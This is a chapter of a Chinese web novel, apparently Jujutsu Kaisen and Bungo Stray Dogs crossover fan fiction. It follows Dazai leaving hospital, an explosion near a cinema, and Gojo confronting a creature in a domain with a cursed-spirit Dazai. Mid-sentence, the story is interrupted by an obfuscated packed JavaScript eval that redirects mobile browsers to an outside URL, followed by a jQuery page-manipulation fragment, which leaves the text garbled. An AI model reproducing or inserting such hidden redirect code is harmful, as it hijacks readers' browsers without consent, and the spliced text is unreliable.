24.第 24 章

作品:《咒术最强退休进行时

    24


    近两周后,医生通知太宰治可以出院。


    出院手续是五条悟跑去办的,冲窗口的护士眨眨眼,穿身浅色系风衣的青年抱着装束精致鲜花和一只独耳布偶兔子,手指夹住单子,步履轻快的去病房接人。


    到病房的时候,已经收拾好的黑发少年正靠在窗边,看着外头阴云绵延,沥沥淅淅落细雨的街道,医院白炽灯描摹出张缺少血色的侧脸。


    五条悟抬手扣了扣玻璃,见人扭过头来,晃动手上捧花。


    “可以出院了哦。”


    他说着,迫不及待将装作普通玩偶的粉色兔子展现给对方看。


    “铛铛,太宰这位是你的新同学!来小粉,快给同学打招呼。”


    被叫小粉的咒灵相当配合,挥起手声音有些细弱,语气忐忑:“太宰同学好。”


    病房里的光照少有暖意,黑发少年转动目光,鸢色眼瞳触碰咒灵身上,一股密密麻麻的寒气悄无声息从玩偶脚底淹没上来。


    像是被深渊给审视洞穿,那双眼睛少有亮光能渗透进去。


    只顷刻太宰治就收回了让人毛骨悚然的视线,嘴角喁起抹笑容,套上层人畜无害的少年人壳子,双手合十拍出响声,嗓音仍旧是种有些青涩,软绵绵的腔调。


    “原来咒术界连兔子都能招来当学生吗?”


    他起身像道被风雨吹起的羽毛,轻飘飘地来到五条悟跟前,头低下来,柔软的黑发擦着眉眼,动作万分热情的抓住玩偶那只微微发颤的手。


    “幸会,”太宰治鸢色的瞳孔沉沉垂下来,轻声道。


    “小粉同学。”


    缝合伤口还没有好全,本来五条悟打算直接让伊地知洁高开车回咒术高专,路上经过影院,墙壁电子屏上发光的电影海报亮光映在后排靠窗坐位的太宰治身上。


    这个年纪的孩子脑袋总是活跃的,在通往目的地之前会有无数个突如其来的念头,手一抬就会去做。


    在医院吃了快两周清淡饮食,拿着可乐的太宰治发出一声喟叹,手上还提着浑身僵硬的布偶兔子。


    细丝般点滴雨水刮在影院前厅的落地窗上,打着伞的行人来往走过,街道花花绿绿的霓虹灯光顺着玻璃上流动水滴而模糊交融。


    看了眼身处人群里格外显眼的白发青年,太宰治低头同玻璃倒影里的纽扣眼睛对视。


    黑发少年的声音散在雨夜街景的喧哗里:“他把你接进咒术高专费了不少心思吧,那群脑袋里生锈的鸵鸟,可不会同意让一个咒灵进入咒术高专。”


    咒灵身体动了动,玩偶脸上不会有表情变化,又因为答应过白发教师,最终装着玩具没吱声。


    它不回答太宰治也不在意,轻轻吐出口气,脸色像是对什么感到极度厌倦一样,眉眼微垂打蔫。


    “真是让人乏闷的世界呢。”


    雨势渐渐扩大,噼里啪啦砸在玻璃上,喧嚣也慢慢变得繁杂,那些绚烂的灯光并没有陷进太宰治的虹膜里,他抬起目光,对上一双怒目圆睁布满血丝的眼睛。


    在来来往往的人群和哗哗啦啦的雨水里,像是时钟滴答作响的清脆声音传入其中。


    街头每一处都缓慢下来,水珠悬停空中映射光泽,举着雨伞的路人抬脚顿住,斑马线上红绿灯止在最后一秒绿色倒数。


    一切的放缓静止中,细小鲜艳的红点疯狂暴闪倒映在清晰的玻璃上。


    滴滴——


    滴滴滴——


    下一秒,炽热翻滚的烈火咆哮着席卷整个世界。


    ——


    2019年2月16日——


    白发孩童垂下霜白色眼睫,攥着咒怨灵掌心的手悄然收紧几分。


    轻巧的动作被「太宰治」注意到,对方低下头,鸢色眼睛有些茫然地看着五条悟那张神色如常的稚嫩脸庞。


    “我没事,”五条悟朝咒灵低声解释。


    “这个领域和之前「哙」的「湮灭」一样,会让人想起些往事。”


    周围的光线仍然是暗蓝色,甚至在微微扭曲,像是不断跳跃的磷火。


    脚下木板咯咯作响,抬腿跨步,最后停下来,两道身影站立在盘旋楼梯的最顶层。


    阁楼里什么也没有,地板因为潮湿寒冷呈现出种深暗色,四周空空荡荡,唯有一扇模糊不清的圆形窗户,看过去能瞧见灯塔外纷扬的风雪。


    五条悟走过去,手触碰上窗棂用力推了推,木制框架发出要破碎的吱嘎声响。


    “出来吧,”他目光停在花白暗蓝相间的玻璃上,声音回旋在安静狭小阁楼里。


    “我不喜欢等待别人思考太久,再不出来你这地方只会被夷为平地。”


    咒怨灵像是飘着一般走到他身边,面无表情抬起手,掌心凝聚起猩红刺目的光团,数道流线型黑雾也不断在其中翻滚。


    红光描绘着五条悟的眉眼,在他转身的刹那,「太宰治」手里的光团轰然爆开。


    几乎照彻整片雪山的红色在地平线上炸出,仿佛一把劈开天地的利刃,在地面撕裂出无法愈合的创口。


    巨大爆炸声伴随腾升扩散的冰雪,形成一圈波浪冲刷出树林,孩童的身影伫立狂乱飞舞的风雪之中,周围仍旧是无数暗蓝色光束,从虚无里散落而出。


    黑雾在他四周清理出片干净空间,随后「太宰治」重新幻化于五条悟身后,半漂浮的姿态盘手趴上孩童肩头,垂眸看着他们脚下地面。


    被吹开积雪的地面裸露出层泛泛银光,红色光束再次出现在孩童的指尖,安静的,悄无声息的转瞬之间,洞穿出一米左右的圆形入口。


    “假想空间的领域,”五条悟撇了眼黑漆漆的地下,“这里头估计就是那家伙的藏身之所,也是他们据点的位置。”


    他动作轻盈向下跃去,感受微凉的雾气拂过摩挲眼角,那只鸢色的瞳孔凑过来短暂同自己在黑暗里对视,良久过后脚尖踏上坚实的地面。


    往前走两步靴子踩着金属地板的踏步声回荡在四周,暗蓝色磷光缓缓浮现像是有意识般,照亮前面的道路。


    他们身处在一条高达数百米半弧形的庞大长廊上。


    通体构建的材质都是银白金属,表层参杂着鎏金色的丝状体,在昏暗里反射凌凌寒光,一排排以鱼骨形状地往里延伸。


    随着五条悟往里走,每一步踩下去,那些鎏金色丝线都会浪潮翻滚的姿态往前滑动光泽,越往里闪烁的越频繁,到最后他站住脚步时,就像停在了寰宇流转的星河之中。


    在他的上方,是一口倒悬于天花板上的漆黑棺椁,板口半掩着,缝隙里露出半张皮肤蜡白色,虹膜纯黑的人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343724|199015||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脸。


    注意到孩童的目光,那张脸往外挤出来几分,似乎是想露出来个阴测测的笑容,但在看清楚五条悟的长相后动作猛地僵硬住。


    “怕什么,”五条悟冲它扯了扯嘴角。


    “是自己滚下来还是待在里头灰飞烟灭,快点选。”


    “……”


    那个类人生物盯着孩童表情,片刻后缓缓从那道缝隙里往外挤,嗓音嘶哑艰涩。


    “你不应该活着的……”


    五条悟冲着棺材打了个响指,乌黑的板盖爆裂出道豁口,没了支撑它从十几米高空极速坠下,骨骼断裂的响声从干瘪惨白的躯体里惨叫迸出。


    “你们这些人怎么连开场白都差不多,”他走过去俯视着对方,苍蓝眼眸亮起的光晕远比空间内暗蓝色的光线要清明精雅。


    “真是疯狂的实验呢,把咒术师和咒具还有咒灵融合到一起,来达到足以展开假想领域的地步。说吧,他们都在这里干些什么,又是什么时候把这里一切都搬空的。”


    “……”


    “好沉默,是不打算活命了吗?”


    白发孩童耸耸肩,装似无奈的大声叹气:“好吧,不说话我也能猜出来一点你们这群家伙想干什么了。”


    他食指敲了敲太阳穴,脸上扬起来个冰冷冷地笑容。


    “左右不过是群脑子有问题的精神病,病入膏肓的追求些荒诞又恶心的东西,我有时候真的会感到困惑,活着不好吗?”


    猩红色的咒力流窜在他指尖,一点点碾压着类人生物的四肢,金属地板发出串尖锐的弯折响声。


    “不过没关系,”裹挟着凌冽杀气的字从他喉腔里不徐不疾的吐出。


    “这么喜欢找死,我会亲自去送他们上路。”


    随着话音落下,地板刹那间扩开几米宽度的凹陷,类人生物的原地仅存几缕泛白的灰尘。


    暗蓝色的光线忽明忽暗,他们四周磷火般闪烁着的光线缓缓拢合,形成一捧暗色火焰,似乎是想靠近五条悟,往前一步后又停顿下来,徘徊在黑暗中。


    几个细小的圆形黑球从瓦解的领域边缘浮现,被牵线似的飞入烁烁火焰体内。


    走廊金属框架里无数鎏金色丝线像壁虎的断尾那样癫痫抽搐起来,甚至让人能从那些眼花缭乱的动作里窥见到属于生物的恐惧。


    先是一根鎏金色纺线,随后是第二根,第三……接连数根流光闪熠的线条悄然缠绕,死死禁锢着五条悟腕部的黑色圆镯。


    他伸手扯动几下,但这次没有像之前新宿那样轻松的拽断,掌心割开流滑下来的血液滴答落地,溅起红色的圆点晕开在渐渐消失,化作现实雪泥杂乱的地面上。


    “太宰。”


    五条悟抬头对上咒怨灵深深皱起的眉眼,凑上前一步,声音亲昵而舒缓,带着点循循善诱。


    “相信我,没关系的。”


    他轻飘飘的声音几乎与雪雾融合在一起,消散于寒冷的夜风里。


    「太宰治」凝视他片刻,慢慢弯下腰,掌心流转托出一把刀锋浅蓝的长刀,利刃泛泛的锋芒同孩童的双眼颜色相近,在黑夜里倾泻来一种格外刺目的璀璨华光。


    雪原上飘摇浩大的寒风卷起万千雪花,摇曳着,低唱着,将两道身影笼罩在茫茫夜幕与乳白的月色之下。